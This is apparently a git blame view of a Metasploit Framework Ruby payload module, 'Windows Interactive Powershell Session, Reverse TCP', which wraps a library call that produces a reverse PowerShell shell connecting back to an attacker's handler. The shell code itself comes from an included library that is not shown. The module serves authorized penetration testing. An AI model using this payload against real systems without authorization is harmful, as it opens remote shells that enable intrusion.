2015-04-19 23:38:41 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-04-19 23:38:41 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
2021-01-28 10:35:25 +00:00
|
|
|
require 'rex/powershell'
|
2015-04-19 23:38:41 +01:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2021-07-12 10:06:56 -04:00
|
|
|
CachedSize = :dynamic
|
2015-04-19 23:38:41 +01:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2015-04-26 00:16:59 +01:00
|
|
|
include Rex::Powershell::Command
|
2015-05-13 17:26:21 +01:00
|
|
|
include Msf::Payload::Windows::Powershell
|
2015-04-19 23:38:41 +01:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2021-10-29 16:25:56 +01:00
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
|
|
|
|
'Description' => 'Interacts with a powershell session on an established socket connection',
|
|
|
|
|
'Author' => [
|
2015-04-26 00:16:59 +01:00
|
|
|
'Ben Turner', # benpturner
|
|
|
|
|
'Dave Hardy' # davehardy20
|
|
|
|
|
],
|
2021-10-29 16:25:56 +01:00
|
|
|
'References' => [
|
2022-01-23 15:28:32 -05:00
|
|
|
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
|
2015-04-26 00:16:59 +01:00
|
|
|
],
|
2021-10-29 16:25:56 +01:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'windows',
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::PowerShell,
|
|
|
|
|
'RequiredCmd' => 'generic',
|
|
|
|
|
'Payload' => {
|
|
|
|
|
'Offsets' => {},
|
2015-04-19 23:38:41 +01:00
|
|
|
'Payload' => ''
|
|
|
|
|
}
|
2021-10-29 16:25:56 +01:00
|
|
|
)
|
|
|
|
|
)
|
2015-04-26 00:16:59 +01:00
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2021-10-29 16:25:56 +01:00
|
|
|
generate_powershell_code('Reverse')
|
2015-04-19 23:38:41 +01:00
|
|
|
end
|
|
|
|
|
end
|